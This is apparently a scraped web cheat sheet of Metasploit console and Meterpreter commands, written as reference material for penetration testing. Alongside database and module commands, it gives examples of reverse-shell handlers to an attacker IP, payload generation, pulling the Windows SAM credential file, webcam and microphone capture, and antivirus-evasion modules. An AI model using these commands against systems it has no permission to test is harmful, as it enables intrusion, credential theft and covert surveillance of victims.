msfconsoleLaunches the Metasploit Framework interactive console
The interactive console for Metasploit: search, configure and run modules, manage sessions and work with the database.
sudo apt install metasploit-frameworkdb_statusChecks the connection status to the backend PostgreSQL database
workspaceLists all available workspaces
workspace -aCreates and switches to a new isolated workspace
Example
workspace -a RedTeamLabworkspace <name>Switches the active context to an existing workspace
Example
workspace RedTeamLabdb_nmapRuns Nmap wrapper and automatically saves results to the database
Example
db_nmap -sV -p 445 192.168.1.0/24db_importImports scan results from tools like Nmap, Nessus, or Qualys into the database
Example
db_import /path/to/nessus_scan.nessushostsLists all hosts discovered in the current workspace
hosts -cLists hosts displaying only specific columns
Example
hosts -c address,os_nameservicesLists all services discovered on stored hosts
services -pFilters and displays only services running on a specific port
Example
services -p 445vulnsDisplays all vulnerabilities recorded for the targets in the database
searchSearches for modules related to a keyword
Example
search smbsearch typeFilters search results by module type and target platform
Example
search type:exploit platform:windowssearch cveSearches for modules matching a specific CVE identifier
Example
search cve:2017-0144search authorSearches for modules written by a specific author
Example
search author:rapid7show optionsLists the basic configurable options for the active module
show advancedDisplays advanced options for fine-tuning the module behavior
show targetsLists the available target systems/versions for the exploit
show evasionShows options specifically designed to evade IDS/IPS and antivirus
setSets a value for a specific option in the current module context
Example
set RHOSTS 192.168.1.10setgSets a global variable that persists across different module selections
Example
setg RHOSTS 192.168.1.0/24unsetRemoves the value of a specific option
Example
unset RHOSTSunsetgRemoves a global variable
Example
unsetg RHOSTSset LHOSTSets the listening address (attacker IP) for the reverse connection
Example
set LHOST 10.10.10.5set LPORTSets the listening port on the attacker machine
Example
set LPORT 4444generateGenerates a standalone payload file based on current configurations
Example
generate -f exe -o payload.execheckValidates if the target is vulnerable without actually exploiting it
exploitExecutes the exploit module against the target
runAlias for exploit, often used with auxiliary and post modules
exploit -jRuns the exploit in the context of a background job
exploit -zExploits the target but does not interact with the session immediately
handlerQuickly starts a payload handler without using the multi/handler module
Example
handler -H 10.10.10.5 -P 4444 -p windows/meterpreter/reverse_tcpsessionsLists all active open sessions
sessions -iInteracts with a specific session ID, entering the shell or meterpreter
Example
sessions -i 1sessions -uAttempts to upgrade a basic shell session to a full Meterpreter session
Example
sessions -u 1sessions -kKills a specific active session
Example
sessions -k 1pwdPrints the current working directory on the remote machine
lsLists files in the current remote directory
cdChanges the current directory on the remote machine
Example
cd C:\UserscatDisplays the contents of a file on the remote system
Example
cat flags.txtuploadUploads a file from the attacker to the victim machine
Example
upload /usr/share/tools/nc.exe C:\Windows\Temp\nc.exedownloadDownloads a file from the victim to the attacker machine
Example
download C:\Windows\System32\config\SAM /tmp/SAMeditOpens a file on the remote system in the local editor (vim)
Example
edit hosts.txtsearch -fSearches the file system for files matching a pattern
Example
search -f *.kdbxpsLists running processes on the remote system
getpidGets the process ID of the current meterpreter injection
migrateMoves the meterpreter session into another running process ID
Example
migrate 1432executeExecutes a command on the remote system, optionally hidden
Example
execute -f cmd.exe -i -HkillTerminates a process on the remote system by PID
Example
kill 4402screenshotTakes a screenshot of the remote desktop
screenshareWatches the remote desktop in real-time via web browser
webcam_listLists available webcams on the target
webcam_snapTakes a picture using the remote webcam
record_micRecords audio from the default microphone for X seconds
Example
record_mic -d 10use postSelects a post-exploitation module
Example
use post/windows/gather/enum_patchesset SESSIONTarget a specific active session for the post module
Example
set SESSION 1runExecutes the post-exploitation module against the session
use post/multi/recon/local_exploit_suggesterChecks the session for missing patches and suggests local exploits
use auxiliary/server/socks_proxySets up a SOCKS proxy to pivot external tools through MSF sessions
editOpens the currently selected module code in the default editor
reload_allReloads all modules from disk (useful when developing custom modules)
unset allUnsets all options for the current module
set VERBOSEEnables verbose output for more detailed execution logs
Example
set VERBOSE trueset WfsDelaySets the wait-for-session delay in seconds for slow exploits
Example
set WfsDelay 10set AutoRunScriptAutomatically runs a script upon successful session creation
Example
set AutoRunScript post/windows/manage/migrateset PrependMigrateAutomatically migrates the payload process immediately after exploitation
Example
set PrependMigrate trueset ExitOnSessionKeeps the listener open even after a session is created
Example
set ExitOnSession falseset StagerBlockSizeAdjusts the block size for staging payloads to evade some IPS signatures
Example
set StagerBlockSize 8192show nopLists NOP (No Operation) generators for buffer padding
use evasionSelects an evasion module designed to bypass AV/EDR
Example
use evasion/windows/windows_defender_exesleepPauses execution for a specified number of seconds (useful in scripts)
Example
sleep 5irbDrops into an interactive Ruby shell within the console context
db_rebuild_cacheRebuilds the module search cache in the background
saveSaves the current global options and settings to the config file
colorDisables color output in the console
Example
color falsehosts -dDeletes a specific host from the database
Example
hosts -d 192.168.1.10services -uLists only services that are currently up/running
Example
services -uupsearch -SSearches strictly for the query string
Example
search -S keywordexitExits the Metasploit console
The most widely used exploitation framework: thousands of exploits, payloads and post-exploitation modules plus a workspace database.
Metasploit’s payload generator and encoder: builds shellcode, executables and scripts for many platforms and formats.
An open-source, cross-platform command-and-control framework for adversary emulation, with mTLS, WireGuard, HTTP(S) and DNS implants.
A collaborative .NET command-and-control framework with a web interface, built for red teams emulating adversaries.